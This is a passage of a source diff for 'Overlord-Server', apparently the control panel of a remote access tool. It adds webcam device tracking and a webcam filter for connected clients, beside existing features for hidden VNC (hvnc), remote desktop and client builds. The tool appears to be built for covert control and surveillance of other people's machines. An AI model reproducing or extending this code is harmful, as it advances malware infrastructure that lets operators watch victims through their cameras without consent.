"operator" && isEnrollmentRequest) { - const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, builtByUserId: user.userId, requireBuildOwner: true }); + const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true }); return Response.json(result, { headers: deps.CORS_HEADERS }); } @@ -104,7 +105,7 @@ export async function handleClientRoutes( const allowedClientIds = scope === "allowlist" ? listUserClientRuleIdsByAccess(user.userId, "allow") : undefined; const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined; - const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, allowedClientIds, deniedClientIds }); + const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds }); return Response.json(result, { headers: deps.CORS_HEADERS }); } diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 3508fac..2251712 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -237,6 +237,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) { const SHARED_UI_SETTING_FEATURES: Record = { remote_desktop: "remote_desktop", hvnc: "hvnc", + webcam: "webcam", }; function pickString(value: unknown, allowed: readonly string[]): string | undefined { @@ -299,6 +300,9 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record) { } export function handleWebcamDevices(clientId: string, payload: any) { + const devices = Array.isArray(payload?.devices) + ? payload.devices.slice(0, 32).map((device: any, index: number) => ({ + index: Number.isFinite(Number(device?.index)) ? Number(device.index) : index, + name: String(device?.name || `Camera ${index + 1}`).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, 160), + ...(Number.isFinite(Number(device?.maxFps)) && Number(device.maxFps) > 0 + ? { maxFps: Math.min(240, Math.round(Number(device.maxFps))) } + : {}), + })) + : []; + const target = clientManager.getClient(clientId); + if (target) { + target.webcamAvailable = devices.length > 0; + target.webcamDevices = devices; + } + setClientWebcamInfo(clientId, devices.length > 0, devices); for (const session of sessionManager.getWebcamSessionsForClient(clientId)) { - safeSendViewer(session.viewer, payload); + safeSendViewer(session.viewer, { ...payload, devices }); } } diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index 8275562..f384cb5 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -39,6 +39,8 @@ export type ClientInfo = { ram?: string; batteryPercent?: number | null; batteryCharging?: boolean | null; + webcamAvailable?: boolean; + webcamDevices?: { index: number; name: string; maxFps?: number }[]; isAdmin?: boolean; elevation?: string; permissions?: Record; @@ -69,6 +71,7 @@ export type ListFilters = { allowedClientIds?: string[]; deniedClientIds?: string[]; groupFilter?: string; + webcamFilter?: string; }; export type ListItem = Omit & {